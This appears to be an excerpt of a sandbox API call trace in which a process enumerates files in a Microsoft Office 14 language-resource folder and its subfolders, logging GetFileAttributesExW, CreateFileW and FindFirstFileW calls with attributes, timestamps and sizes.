	[0052.087] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ACWIZRC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\acwizrc.dll"), fInfoLevelId=0x0, lpFileInformation=0x1272c698 | out: lpFileInformation=0x1272c698*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefafd800, ftCreationTime.dwHighDateTime=0x1ca674a, ftLastAccessTime.dwLowDateTime=0x150ad890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xefafd800, ftLastWriteTime.dwHighDateTime=0x1ca674a, nFileSizeHigh=0x0, nFileSizeLow=0x43590)) returned 1
	[0052.087] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AEC.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aec.vsl"), fInfoLevelId=0x0, lpFileInformation=0x1272c6e8 | out: lpFileInformation=0x1272c6e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4ab4f00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x5054cac0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb4ab4f00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x10f78)) returned 1
	[0052.088] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\AECUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\aecutils.vsl"), fInfoLevelId=0x0, lpFileInformation=0x1272c738 | out: lpFileInformation=0x1272c738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bf8d00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x5054cac0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa8bf8d00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xa388)) returned 1
	[0052.089] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ASSET.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\asset.vrd"), fInfoLevelId=0x0, lpFileInformation=0x1272c788 | out: lpFileInformation=0x1272c788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2b17900, ftCreationTime.dwHighDateTime=0x1c55530, ftLastAccessTime.dwLowDateTime=0x50598d80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe2b17900, ftLastWriteTime.dwHighDateTime=0x1c55530, nFileSizeHigh=0x0, nFileSizeLow=0x69e)) returned 1
	[0052.089] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BASIC.HTM" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\basic.htm"), fInfoLevelId=0x0, lpFileInformation=0x1272c7d8 | out: lpFileInformation=0x1272c7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3375600, ftCreationTime.dwHighDateTime=0x1c2fe69, ftLastAccessTime.dwLowDateTime=0x505e5040, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc3375600, ftLastWriteTime.dwHighDateTime=0x1c2fe69, nFileSizeHigh=0x0, nFileSizeLow=0x10d)) returned 1
	[0052.090] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BCSRuntimeRes.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bcsruntimeres.dll"), fInfoLevelId=0x0, lpFileInformation=0x1272c828 | out: lpFileInformation=0x1272c828*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d39f900, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1d39f900, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0x6180)) returned 1
	[0052.090] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BHOINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bhointl.dll"), fInfoLevelId=0x0, lpFileInformation=0x1272c878 | out: lpFileInformation=0x1272c878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b056800, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0xee2ce510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x3b056800, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x2778)) returned 1
	[0052.090] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BSTORM.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bstorm.vsl"), fInfoLevelId=0x0, lpFileInformation=0x1272c8c8 | out: lpFileInformation=0x1272c8c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac531400, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x5067d5c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xac531400, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xb390)) returned 1
	[0052.091] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\BW.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bw.css"), fInfoLevelId=0x0, lpFileInformation=0x1272c918 | out: lpFileInformation=0x1272c918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4d7e200, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x506a3720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe4d7e200, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a)) returned 1
	[0052.091] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bibliography"), fInfoLevelId=0x0, lpFileInformation=0x1272c968 | out: lpFileInformation=0x1272c968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e1bb530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e1bb530, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0052.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bibliography"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.092] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography\\*", lpFindFileData=0x127d38b4 | out: lpFindFileData=0x127d38b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e1bb530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e1bb530, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.092] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0052.093] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Bibliography\\BIBFORM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\bibliography\\bibform.xml"), fInfoLevelId=0x0, lpFileInformation=0x1272ca08 | out: lpFileInformation=0x1272ca08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b715800, ftCreationTime.dwHighDateTime=0x1c8bfc3, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b715800, ftLastWriteTime.dwHighDateTime=0x1c8bfc3, nFileSizeHigh=0x0, nFileSizeLow=0x165e2)) returned 1
	[0052.093] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CALEVENT.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\calevent.vrd"), fInfoLevelId=0x0, lpFileInformation=0x1272ca58 | out: lpFileInformation=0x1272ca58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb09b400, ftCreationTime.dwHighDateTime=0x1c55530, ftLastAccessTime.dwLowDateTime=0x506a3720, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xeb09b400, ftLastWriteTime.dwHighDateTime=0x1c55530, nFileSizeHigh=0x0, nFileSizeLow=0x860)) returned 1
	[0052.094] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CERTINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\certintl.dll"), fInfoLevelId=0x0, lpFileInformation=0x1272caa8 | out: lpFileInformation=0x1272caa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca8c600, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbca8c600, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x2f90)) returned 1
	[0052.094] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\clvwintl.dll"), fInfoLevelId=0x0, lpFileInformation=0x1272caf8 | out: lpFileInformation=0x1272caf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49538400, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0xeec9ffd0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x49538400, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x4da8)) returned 1
	[0052.095] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\cmaxres.dll"), fInfoLevelId=0x0, lpFileInformation=0x1272cb48 | out: lpFileInformation=0x1272cb48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x5073bca0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x8990)) returned 1
	[0052.095] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\COFFEE.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\coffee.css"), fInfoLevelId=0x0, lpFileInformation=0x1272cb98 | out: lpFileInformation=0x1272cb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4d7e200, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x5073bca0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe4d7e200, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a)) returned 1
	[0052.096] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CT_ROOTS.XML" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ct_roots.xml"), fInfoLevelId=0x0, lpFileInformation=0x1272cbe8 | out: lpFileInformation=0x1272cbe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73908200, ftCreationTime.dwHighDateTime=0x1ca7ab5, ftLastAccessTime.dwLowDateTime=0xeecec290, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x73908200, ftLastWriteTime.dwHighDateTime=0x1ca7ab5, nFileSizeHigh=0x0, nFileSizeLow=0x17b5)) returned 1
	[0052.096] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CollectSignatures_Init.xsn" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\collectsignatures_init.xsn"), fInfoLevelId=0x0, lpFileInformation=0x1272cc38 | out: lpFileInformation=0x1272cc38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62bc4600, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xeec9ffd0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x62bc4600, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x35be)) returned 1
	[0052.096] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CollectSignatures_Sign.xsn" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\collectsignatures_sign.xsn"), fInfoLevelId=0x0, lpFileInformation=0x1272cc88 | out: lpFileInformation=0x1272cc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x618b1900, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xeecec290, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x618b1900, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x36fb)) returned 1
	[0052.096] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ContactPickerIntl.dll" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\contactpickerintl.dll"), fInfoLevelId=0x0, lpFileInformation=0x1272ccd8 | out: lpFileInformation=0x1272ccd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63409700, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeecec290, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x63409700, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x3f80)) returned 1
	[0052.097] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbengr.vsl"), fInfoLevelId=0x0, lpFileInformation=0x1272cd28 | out: lpFileInformation=0x1272cd28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50787f60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xcf98)) returned 1
	[0052.098] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBSAMPLE.MDB" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbsample.mdb"), fInfoLevelId=0x0, lpFileInformation=0x1272cd78 | out: lpFileInformation=0x1272cd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ea0a00, ftCreationTime.dwHighDateTime=0x1c32175, ftLastAccessTime.dwLowDateTime=0x50787f60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x78ea0a00, ftLastWriteTime.dwHighDateTime=0x1c32175, nFileSizeHigh=0x0, nFileSizeLow=0x76000)) returned 1
	[0052.099] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBWIZ.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbwiz.vsl"), fInfoLevelId=0x0, lpFileInformation=0x1272cdc8 | out: lpFileInformation=0x1272cdc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac531400, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50787f60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xac531400, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x28178)) returned 1
	[0052.099] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DEFAULT.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\default.css"), fInfoLevelId=0x0, lpFileInformation=0x1272ce18 | out: lpFileInformation=0x1272ce18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4d7e200, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50787f60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe4d7e200, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a)) returned 1
	[0052.099] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dl_res.dll"), fInfoLevelId=0x0, lpFileInformation=0x1272ce68 | out: lpFileInformation=0x1272ce68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc800ef00, ftCreationTime.dwHighDateTime=0x1cab7d2, ftLastAccessTime.dwLowDateTime=0x507ae0c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc800ef00, ftLastWriteTime.dwHighDateTime=0x1cab7d2, nFileSizeHigh=0x0, nFileSizeLow=0x2988)) returned 1
	[0052.100] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DOORSCHD.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\doorschd.vrd"), fInfoLevelId=0x0, lpFileInformation=0x1272ceb8 | out: lpFileInformation=0x1272ceb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0ff9500, ftCreationTime.dwHighDateTime=0x1c55530, ftLastAccessTime.dwLowDateTime=0x507ae0c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf0ff9500, ftLastWriteTime.dwHighDateTime=0x1c55530, nFileSizeHigh=0x0, nFileSizeLow=0x6bb)) returned 1
	[0052.100] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DRILLDWN.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\drilldwn.vsl"), fInfoLevelId=0x0, lpFileInformation=0x1272cf08 | out: lpFileInformation=0x1272cf08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb117c800, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x507ae0c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb117c800, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xfd68)) returned 1
	[0052.101] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGCNV.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgcnv.vsl"), fInfoLevelId=0x0, lpFileInformation=0x1272cf58 | out: lpFileInformation=0x1272cf58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bb9dc00, ftCreationTime.dwHighDateTime=0x1cab7d1, ftLastAccessTime.dwLowDateTime=0x507d4220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4bb9dc00, ftLastWriteTime.dwHighDateTime=0x1cab7d1, nFileSizeHigh=0x0, nFileSizeLow=0x9760)) returned 1
	[0052.102] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DWGDPRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dwgdpres.dll"), fInfoLevelId=0x0, lpFileInformation=0x1272cfa8 | out: lpFileInformation=0x1272cfa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc800ef00, ftCreationTime.dwHighDateTime=0x1cab7d2, ftLastAccessTime.dwLowDateTime=0x507fa380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc800ef00, ftLastWriteTime.dwHighDateTime=0x1cab7d2, nFileSizeHigh=0x0, nFileSizeLow=0x3f60)) returned 1
	[0052.103] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices"), fInfoLevelId=0x0, lpFileInformation=0x1272cff8 | out: lpFileInformation=0x1272cff8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecec290, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0052.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.103] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\*", lpFindFileData=0x127d38b4 | out: lpFindFileData=0x127d38b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecec290, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.105] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0052.105] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\+Connect to New Data Source.odc" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\+connect to new data source.odc"), fInfoLevelId=0x0, lpFileInformation=0x1272d188 | out: lpFileInformation=0x1272d188*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa887a200, ftCreationTime.dwHighDateTime=0x1c026ae, ftLastAccessTime.dwLowDateTime=0xeecec290, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa887a200, ftLastWriteTime.dwHighDateTime=0x1c026ae, nFileSizeHigh=0x0, nFileSizeLow=0xbe)) returned 1
	[0052.106] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\+NewSQLServerConnection.odc" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\+newsqlserverconnection.odc"), fInfoLevelId=0x0, lpFileInformation=0x1272d1d8 | out: lpFileInformation=0x1272d1d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6254800, ftCreationTime.dwHighDateTime=0x1c026ae, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa6254800, ftLastWriteTime.dwHighDateTime=0x1c026ae, nFileSizeHigh=0x0, nFileSizeLow=0xc4)) returned 1
	[0052.106] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\DESKTOP.INI" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1272d228 | out: lpFileInformation=0x1272d228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5811c800, ftCreationTime.dwHighDateTime=0x1bff783, ftLastAccessTime.dwLowDateTime=0xeed123f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x5811c800, ftLastWriteTime.dwHighDateTime=0x1bff783, nFileSizeHigh=0x0, nFileSizeLow=0x46)) returned 1
	[0052.107] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DataServices\\FOLDER.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dataservices\\folder.ico"), fInfoLevelId=0x0, lpFileInformation=0x1272d278 | out: lpFileInformation=0x1272d278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x952b9800, ftCreationTime.dwHighDateTime=0x1bff81f, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x952b9800, ftLastWriteTime.dwHighDateTime=0x1bff81f, nFileSizeHigh=0x0, nFileSizeLow=0x1266)) returned 1
	[0052.107] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion.gta"), fInfoLevelId=0x0, lpFileInformation=0x1272d2c8 | out: lpFileInformation=0x1272d2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66f81800, ftCreationTime.dwHighDateTime=0x1c913a0, ftLastAccessTime.dwLowDateTime=0xfd48ff70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x66f81800, ftLastWriteTime.dwHighDateTime=0x1c913a0, nFileSizeHigh=0x0, nFileSizeLow=0x19984)) returned 1
	[0052.109] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Discussion14.gta" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\discussion14.gta"), fInfoLevelId=0x0, lpFileInformation=0x1272d318 | out: lpFileInformation=0x1272d318*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45b12e00, ftCreationTime.dwHighDateTime=0x1ca99cf, ftLastAccessTime.dwLowDateTime=0xfd4b60d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x45b12e00, ftLastWriteTime.dwHighDateTime=0x1ca99cf, nFileSizeHigh=0x0, nFileSizeLow=0x587c9)) returned 1
	[0052.110] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EADOCUMENTAPPROVAL_INIT.XSN" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eadocumentapproval_init.xsn"), fInfoLevelId=0x0, lpFileInformation=0x1272d368 | out: lpFileInformation=0x1272d368*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62bc4600, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xeed123f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x62bc4600, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x388e)) returned 1
	[0052.110] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EADOCUMENTAPPROVAL_REVIEW.XSN" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\eadocumentapproval_review.xsn"), fInfoLevelId=0x0, lpFileInformation=0x1272d3b8 | out: lpFileInformation=0x1272d3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x618b1900, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xeed123f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x618b1900, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x4d7e)) returned 1
